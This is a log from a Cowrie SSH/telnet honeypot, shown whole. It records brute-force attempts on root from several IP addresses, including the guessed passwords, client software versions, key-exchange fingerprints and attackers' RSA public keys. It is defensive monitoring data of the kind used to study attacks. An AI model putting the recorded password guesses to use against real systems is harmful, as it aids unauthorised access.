{"eventid":"cowrie.session.closed","duration":37.425442934036255,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:57.372853Z","src_ip":"192.119.13.58","session":"d64f18e74377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43604,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1875ffe14f","protocol":"telnet","message":"New connection: 192.119.13.58:43604 (10.17.0.5:23) [session: 1c1875ffe14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:01.800277Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44040,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f314b0d6596","protocol":"telnet","message":"New connection: 192.119.13.58:44040 (10.17.0.5:23) [session: 8f314b0d6596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:01.908869Z"}
{"eventid":"cowrie.session.closed","duration":33.18721032142639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:05.529102Z","src_ip":"192.119.13.58","session":"3f56e177ae9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47638,"dst_ip":"10.17.0.5","dst_port":23,"session":"22432c1b30af","protocol":"telnet","message":"New connection: 192.119.13.58:47638 (10.17.0.5:23) [session: 22432c1b30af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:17.823463Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":42208,"dst_ip":"159.203.135.109","dst_port":22,"session":"1007f8142032","protocol":"ssh","message":"New connection: 103.82.20.28:42208 (159.203.135.109:22) [session: 1007f8142032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:29.030228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:29.034719Z","src_ip":"103.82.20.28","session":"1007f8142032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:29.303044Z","src_ip":"103.82.20.28","session":"1007f8142032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shamil","message":"login attempt [root/shamil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:30.107308Z","src_ip":"103.82.20.28","session":"1007f8142032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:31.385278Z","src_ip":"103.82.20.28","session":"1007f8142032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":40222,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e86c414e3db","protocol":"ssh","message":"New connection: 43.153.39.191:40222 (159.203.135.109:22) [session: 5e86c414e3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:36.366536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:36.371451Z","src_ip":"43.153.39.191","session":"5e86c414e3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:36.439858Z","src_ip":"43.153.39.191","session":"5e86c414e3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marino","message":"login attempt [root/marino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:36.743194Z","src_ip":"43.153.39.191","session":"5e86c414e3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:37.814507Z","src_ip":"43.153.39.191","session":"5e86c414e3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":54620,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f2ff3bbac2","protocol":"ssh","message":"New connection: 43.173.89.56:54620 (159.203.135.109:22) [session: a2f2ff3bbac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:38.100830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:38.105644Z","src_ip":"43.173.89.56","session":"a2f2ff3bbac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:38.173271Z","src_ip":"43.173.89.56","session":"a2f2ff3bbac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52546572685242,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:38.325552Z","src_ip":"192.119.13.58","session":"1c1875ffe14f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123456","message":"login attempt [root/Qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:38.476966Z","src_ip":"43.173.89.56","session":"a2f2ff3bbac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:39.547659Z","src_ip":"43.173.89.56","session":"a2f2ff3bbac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.1902551651001,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:17:44.098999Z","src_ip":"192.119.13.58","session":"8f314b0d6596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":54290,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbdeec1e2a91","protocol":"ssh","message":"New connection: 43.130.16.4:54290 (159.203.135.109:22) [session: cbdeec1e2a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:01.292551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:01.297602Z","src_ip":"43.130.16.4","session":"cbdeec1e2a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:01.367101Z","src_ip":"43.130.16.4","session":"cbdeec1e2a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root333","message":"login attempt [root/root333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:01.675685Z","src_ip":"43.130.16.4","session":"cbdeec1e2a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:02.751655Z","src_ip":"43.130.16.4","session":"cbdeec1e2a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.61731266975403,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:06.440679Z","src_ip":"192.119.13.58","session":"22432c1b30af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3b2d926b95a","protocol":"telnet","message":"New connection: 192.119.13.58:59450 (10.17.0.5:23) [session: e3b2d926b95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:08.342169Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47912,"dst_ip":"10.17.0.5","dst_port":23,"session":"2653c39d58de","protocol":"telnet","message":"New connection: 192.119.13.58:47912 (10.17.0.5:23) [session: 2653c39d58de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:18.976690Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.62.79","src_port":44844,"dst_ip":"10.17.0.5","dst_port":22,"session":"b678c0f785b4","protocol":"ssh","message":"New connection: 91.219.62.79:44844 (10.17.0.5:22) [session: b678c0f785b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.218518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.223520Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.307337Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:02:4d:86:96:84:a0:89:48:a8:2b:d1:db:e3:63:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf6OyZeoGYbUAPqDJkLnbGZeOkVEUuiTFxvhac7x6eh9bXH8mbRPPZs23gthgUW37MrjfQnuQe96gUztwKwXuCfTe/ajpounVHj+URGmx8nDx/kls0wQ5XsWHLzk6LOgu22iVTy7TJL8TidQKDhQzp0iNJi3HvDdXE/CN2cKEJvEAVTq/9zPU5t29wWc+qgPONXxaqL0XIqDk96Mbu7bir+hZcD8yu72qLVFzuCqj6E7Zb+NWOtxBDahA4zk+p6j0gO4ktOYo+nv9pxaiXlxcHLY0T3hAhV+AZZVUPwvfx1Xjrs3fzXf2opeDFnEaC3N9nUthl2As+y5BhuKLdzlk7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:02:4d:86:96:84:a0:89:48:a8:2b:d1:db:e3:63:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.702286Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:02:4d:86:96:84:a0:89:48:a8:2b:d1:db:e3:63:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf6OyZeoGYbUAPqDJkLnbGZeOkVEUuiTFxvhac7x6eh9bXH8mbRPPZs23gthgUW37MrjfQnuQe96gUztwKwXuCfTe/ajpounVHj+URGmx8nDx/kls0wQ5XsWHLzk6LOgu22iVTy7TJL8TidQKDhQzp0iNJi3HvDdXE/CN2cKEJvEAVTq/9zPU5t29wWc+qgPONXxaqL0XIqDk96Mbu7bir+hZcD8yu72qLVFzuCqj6E7Zb+NWOtxBDahA4zk+p6j0gO4ktOYo+nv9pxaiXlxcHLY0T3hAhV+AZZVUPwvfx1Xjrs3fzXf2opeDFnEaC3N9nUthl2As+y5BhuKLdzlk7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.706260Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:5e:9e:e7:c0:eb:85:e1:4f:87:41:de:bd:ad:06:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCxAZ64o8m3HY61c4oSWLEwXMJqOlypzc0kmc/otdEei0kds1B5CM9H5jwFw+0nohHQQcY0eZb1ERsIt++Kw7/czJXBS1aXpD5YiTgOSEYnGKMMSbMWZ9efnCRKaxlFr/scdpC79ua4NVhGbG202L/Or7qWSlen8BtRcYyU1z0SuZ0VzsLgs2QwnZXUSOJFxrIxgGc2Xx9IQf/h8hWtMTXW3BAinJgWCDDjKB2N/glDFO1jHi6oZMDd2Q7ryYcpKG08hmQ1CAYCfGcWS3vi88+MWNOtiBwIAqZzCMcPJvYApTO0kGadTK/tT7lopA0ptvIslAG3yCCSnUpsDitbi4x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:5e:9e:e7:c0:eb:85:e1:4f:87:41:de:bd:ad:06:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.790547Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:5e:9e:e7:c0:eb:85:e1:4f:87:41:de:bd:ad:06:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCxAZ64o8m3HY61c4oSWLEwXMJqOlypzc0kmc/otdEei0kds1B5CM9H5jwFw+0nohHQQcY0eZb1ERsIt++Kw7/czJXBS1aXpD5YiTgOSEYnGKMMSbMWZ9efnCRKaxlFr/scdpC79ua4NVhGbG202L/Or7qWSlen8BtRcYyU1z0SuZ0VzsLgs2QwnZXUSOJFxrIxgGc2Xx9IQf/h8hWtMTXW3BAinJgWCDDjKB2N/glDFO1jHi6oZMDd2Q7ryYcpKG08hmQ1CAYCfGcWS3vi88+MWNOtiBwIAqZzCMcPJvYApTO0kGadTK/tT7lopA0ptvIslAG3yCCSnUpsDitbi4x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.794577Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:43:d3:67:6f:f0:47:e0:17:dd:30:3d:d7:e8:e7:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyx+OBnZJntGP7e7bwRRnx7py35+4AjTD+B6WWn/l92bRq9Og48g11dIp6BY5hNmha5R2etHqSxuEllg6XGvr2Tm17qoH1ZK/suandUb2rVrG+JrYnZqFwXJfqibD7Yy25ZAhSZdH6mb62JQR/lPraREAPJ8cxo0lOu9CcHExCPO76BWJDtLRP2RNcvdzeBiNLdEXPVRMWkByRfbjWrMMjT0CQeyrZ+RXatflX9/z0O4R6wCriznWnLrX5HQxjAaYvw8fDRUKtewiT7gSh1A6KRM62CBdwNwgwIAiaQY45RwhroHAvS0gkg49zjBgFGwcogSYAVsHS1d7k00goC6o3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:43:d3:67:6f:f0:47:e0:17:dd:30:3d:d7:e8:e7:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.889208Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:43:d3:67:6f:f0:47:e0:17:dd:30:3d:d7:e8:e7:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyx+OBnZJntGP7e7bwRRnx7py35+4AjTD+B6WWn/l92bRq9Og48g11dIp6BY5hNmha5R2etHqSxuEllg6XGvr2Tm17qoH1ZK/suandUb2rVrG+JrYnZqFwXJfqibD7Yy25ZAhSZdH6mb62JQR/lPraREAPJ8cxo0lOu9CcHExCPO76BWJDtLRP2RNcvdzeBiNLdEXPVRMWkByRfbjWrMMjT0CQeyrZ+RXatflX9/z0O4R6wCriznWnLrX5HQxjAaYvw8fDRUKtewiT7gSh1A6KRM62CBdwNwgwIAiaQY45RwhroHAvS0gkg49zjBgFGwcogSYAVsHS1d7k00goC6o3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.893082Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:95:53:66:a8:6e:a5:e2:50:0f:8c:40:86:c2:c9:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqxRFpFbxao+UtKd+PZcV6Dfmq8HJbxQCEnuGjRUrjXgB6PpveyKBmFlgnyLmvOkerTwzMzB+wcTDgwNa6pqUhRBqdObFQpIGAvmLcz9KG1/i1ny/M82rdWG/JgmjdBH9QeeUKunSCqLHkvPXK+9tFt2+NlI0CnwHYWYOgSlg/SjQi5YPPr/9gcXhxhV9CBI7XtTJ/XlN+lDBNLflIn82ltDrvKrbBfl2MJ6Pkv+F5B0R85RI1lKKwO8DM+MpFCNolk7YvCsoP9UG3J69qB6n7bi5NW4LNQVytNua5qhQX8hFryf1clK8+TnkHstYE8PbsuyVrNa5sRQhHwkXrLbX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:95:53:66:a8:6e:a5:e2:50:0f:8c:40:86:c2:c9:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:18:44.980744Z","src_ip":"91.219.62.79","session":"b678c0f785b4","protocol":"ssh"}
